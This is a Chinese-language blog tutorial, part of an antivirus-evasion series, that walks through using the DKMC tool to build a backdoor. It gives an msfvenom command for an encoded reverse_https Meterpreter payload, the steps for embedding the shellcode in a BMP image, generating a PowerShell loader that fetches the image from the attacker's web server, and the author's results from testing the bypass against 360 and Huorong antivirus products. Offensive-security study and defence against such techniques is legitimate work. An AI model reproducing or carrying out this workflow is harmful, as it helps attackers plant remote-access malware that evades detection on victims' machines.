遠控免殺專題(15)-DKMC免殺

0x01 免殺能力一覽表

在這裏插入圖片描述
幾點說明:

1、上表中標識 √ 說明相應殺毒軟件未檢測出病毒,也就是代表了Bypass。

2、爲了更好的對比效果,大部分測試payload均使用msf的windows/meterperter/reverse_tcp模塊生成。

3、由於本機測試時只是安裝了360全家桶和火絨,所以默認情況下360和火絨殺毒情況指的是靜態+動態查殺。360殺毒版本5.0.0.8160(2020.01.01),火絨版本5.0.34.16(2020.01.01),360安全衛士12.0.0.2002(2020.01.01)。

4、其他殺軟的檢測指標是在virustotal.com(簡稱VT)上在線查殺,所以可能只是代表了靜態查殺能力,數據僅供參考,不足以作爲免殺的精確判斷指標。

5、完全不必要苛求一種免殺技術能bypass所有殺軟,這樣的技術肯定是有的,只是沒被公開,一旦公開第二天就能被殺了,其實我們只要能bypass目標主機上的殺軟就足夠了。

0x02 DKMC介紹

DKMC是Don’t Kill My Cat (DKMC)的簡稱,谷歌翻譯爲"不要殺害我的小貓咪",這個名字也是挺少女心的…DKMC是一種生成混淆的shellcode的工具,並把shellcode合成到圖像文件中,最終依靠PowerShell執行最終的shellcode有效負載。

0x03 安裝DKMC

安裝比較簡單


$ git clone https://github.com/Mr-Un1k0d3r/DKMC 
$ cd DKMC
$ mkdir output

執行python dkmc.py即可
在這裏插入圖片描述

0x04 DKMC使用說明

執行python dkmc.py後可以看到5個選項,

[*] (gen)	Generate a malicious BMP image  
[*] (web)	Start a web server and deliver malicious image 
[*] (ps)	Generate Powershell payload 
[*] (sc)	Generate shellcode from raw file 
[*] (exit)	Quit the application

翻譯一下


[*] (gen)	將msf的shellcode注入到一個BMP圖像
[*] (web)	啓動web服務用來分發BMP圖像
[*] (ps)	生成ps的payload
[*] (sc)	將msf生成的raw文件轉爲shellcode
[*] (exit)	退出

這幾個選項可不是都能生成payload,而是一起組合來生成免殺的文件。

生成一個後門的流程大體爲:

1、先利用msf生成raw文件

2、利用sc講raw文件轉換爲shellcode

3、利用gen將上一步的shellcode注入到一個BMP圖像

4、利用ps生成基於powershell的BMP文件的payload

5、利用web提供的簡單web服務進行分發BMP文件

4和5看起來有點亂,下面我演示一下就很容易明白了。

0x05 利用DKMC生成後門

1、先利用Msf生成raw格式的shellcode,稍微編碼了一下

msfvenom -p windows/meterpreter/reverse_https  LHOST=10.211.55.2 LPORT=3333 -e x86/shikata_ga_nai -b "\x00" -i 5 -a x86 -f raw -o /root/test15.raw

在這裏插入圖片描述
2、在主菜單中選擇sc,然後設置source爲/root/test15.raw,再執行run生成shellcode。
在這裏插入圖片描述
複製一下生成的shellcode,輸入exit退回到主菜單。

3、在主菜單中選擇gen,然後設置shellcode爲上一步中生成的shellcode。

其他默認即可,執行run生成圖像。
在這裏插入圖片描述
看到生成了output-1577907077.bmp圖像文件,輸入exit退回到主菜單。

4、在主菜單中選擇ps,設置url地址,這個url地址就是web分發圖像文件的地址。

我的parrot虛擬機的地址爲10.211.55.24,我打算用默認的80端口,這樣我的url地址爲http://10.211.55.24/output-1577907077.bmp

使用命令set url http://10.211.55.24/output-1577907077.bmp,然後執行run生成powershell執行腳本。
在這裏插入圖片描述
複製一下生成的ps代碼,輸入exit退回到主菜單。

5、最後一步,在主菜單中選擇web,使用默認80端口,執行run即可。
在這裏插入圖片描述
訪問虛擬機的80端口
在這裏插入圖片描述
圖像可以正常打開
在這裏插入圖片描述
6、在我的測試機器上執行第4步生成的ps代碼,不開殺軟的時候可正常上線

我將ps執行代碼中的-w hidden先去掉,這樣可以看得直觀一些
在這裏插入圖片描述
在這裏插入圖片描述
7、打開殺軟進行測試

靜態查殺都通過
在這裏插入圖片描述
在執行powershell代碼時,火絨和360衛士會攔截報警,360殺毒沒有反應
在這裏插入圖片描述

0x05 小結

DKMC主要把shellcode注入到bmp圖像中,然後使用powershell來執行其中的shellcode,但是很多殺軟都會監測powershell的執行動作,所以virustotal.com的靜態檢測不足以說明什麼。其實還可以進一步對ps執行代碼進行混淆免殺,這一點後續文章還會涉及這裏就不展開說

參考

官方說明文檔:https://github.com/Mr-Un1k0d3r/DKMC

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章